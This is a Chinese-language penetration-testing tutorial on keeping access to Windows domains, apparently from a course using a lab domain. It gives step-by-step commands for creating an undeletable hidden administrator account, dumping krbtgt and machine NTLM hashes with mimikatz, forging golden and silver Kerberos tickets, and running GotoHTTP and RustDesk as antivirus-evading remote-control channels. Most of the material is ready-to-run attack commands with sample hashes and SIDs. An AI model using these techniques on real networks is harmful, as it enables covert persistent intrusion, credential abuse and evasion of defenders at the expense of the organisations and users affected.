文章目录
- 内网域&单机版-权限维持-基于用户-隐藏用户
- 内网域-权限维持-基于服务TGT-黄金白银票据
- 黄金方法:
- 白银方法:
- 内网域-权限维持-基于软件-GotoHTTP&RustDesk—无需安装
- C2 GotoHTTP
- C2 RustDesk 推荐
内网域&单机版-权限维持-基于用户-隐藏用户
https://github.com/wgpsec/CreateHiddenAccount
工具原理:添加用户时在用户名上添加$符号,将该用户的用户组设置为空(单主机环境为空,域环境为administrator组),导致无法删除(在注册表中也可以进行隐藏)
CreateHiddenAccount_upx_v0.2.exe -u whgojp -p Whgojp!@#45
控制面板能查看到,命令查看看不到,单机版无法删除,域环境可以删除
同样的该工具也支持检测隐藏用户
CreateHiddenAccount_upx_v0.2.exe -c
后续权限维持RDP使用该用户进行远程连接
内网域-权限维持-基于服务TGT-黄金白银票据
⻩⾦票据⽣成攻击,是⽣成有效的TGT Kerberos票据,并且不受TGT⽣命周期的影响(TGT默认10⼩时,最多续订7天),这⾥可以为任意⽤户⽣成⻩⾦票据,然后为域管理员⽣成TGT,这样普通⽤户就可以变成域管理员。
白银票据(SILVER TICKET)是利用域的服务账户进行伪造的ST,在Kerberos认证的第三步,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。所以只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用(不需要交互KDC,需要知道Server的NTLM Hash)。
黄金方法:
1、已经拿下域管理员,获取到krbtgt hash;
2、利用krbtgt的hash制作黄金票据工具,进行攻击。
流程:
1、域名:god.org
2、域的SID值:S-1-5-21-1218902331-2157346161-1782232778
whoami /user
whoami /all
wmic useraccount get name,sid
3、域的KRBTGT账户NTLM-HASH:b097d7ed97495408e1537f706c357fc5
mimikatz privilege::debug
mimikatz lsadump::lsa /patch #导出所有机器用户的hash值,找到user=krbtgt的hash值
4、伪造用户名:webadmin(任意用户名)
生成票据:
mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:g
导入内存:
mimikatz kerberos::ptt g
访问测试:
dir \\owa2010cn-god\c$
后期渗透:结合前面的课程
net use \\owa2010cn-god
黄金票据总结:
该攻击⽅式其实是⼀种后⻔的形式,属于第⼆次进⾏攻击的⽅法。
第⼀次拿到域管权限之后,需要将krbtgt NTLM hash进⾏保存,当第⼆次再来进⾏域渗透攻击时,我们就可使⽤krbtgt的NTLM hash制作⻩⾦票据,从⽽再次获得域管权限。
白银方法:
1、已经拿下域管理员,获取到DC hash;
2、利用DC的hash制作白银票据工具,进行攻击。
流程:
1、域名:god.org
2、域的SID值:S-1-5-21-1218902331-2157346161-1782232778
whoami /user
whoami /all
wmic useraccount get name,sid
3、域DC账户NTLM-HASH:06114aa8845850d50f6cef427ebb593a
mimikatz privilege::debug
mimikatz sekurlsa::logonpasswords
4、伪造用户名:webadmin(任意用户名)
导入票据:(CIFS文件共享服务)
domain:域名
sid:域环境下的SID,除去最后-的部分剩下的内容
target:要访问的服务器,写FQDN
rc4:写的是目标主机的NTLM(主机名$对应NTLM)
service:要访问的资源类型
user:伪造的用户
cifs:共享文件
mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god /service:cifs /rc4:06114aa8845850d50f6cef427ebb593a /ptt
白银票据总结 只能访问文件(比较局限)
1、伪造的ST,只能访问指定的服务,如CIFS;
2、不与KDC交互,直接访问Server;
3、ST由服务账号 NTLM Hash 加密。
内网域-权限维持-基于软件-GotoHTTP&RustDesk—无需安装
解决协议问题与免杀问题(杀毒软件白名单)
C2 GotoHTTP
https://gotohttp.com/goto/download.12x
无网络(1、压根没有网络,2、限制出网)
1、有网络,无限制
2、有网络,有限制(不限制https就可以)
3、无网络,有限制(不限制https就可以)
利用场景:有网络下,需要绕过杀毒等网络防护
B2C模式,无需安装控制端软件,有浏览器就可以远控。
流量走https协议,只要目标放行443端口出口就可以实现内网穿透。
在低带宽也可以使用,运行占用内存极低,控制时占用CPU仅为0%-3%。
被控端在类Linux系统上支持图形界面(GUI)和字符界面(CLI)。
网络唤醒远程主机需加载驱动,导致运行时安全卫士会拦截这行为,其他杀软不会拦截。
程序运行之后生成两个文件其中包含电脑ID与控制码,即可以进行远程连接
C2 RustDesk 推荐
https://github.com/rustdesk/rustdesk
利用场景:无需网络,需要绕过杀毒等网络防护
1、有网连接:
C:\Users\用户名\AppData\Roaming\RustDesk\config
其中ID和密码在RustDesk.toml文件里。
外网连接
2、无网内网连接:IP直连(允许ip直连选项)
RustDesk2.toml
direct-server = 'Y'
direct-access-port = '8443'
这里演示的是从webserver使用ip(192.168.3.21:8443)直连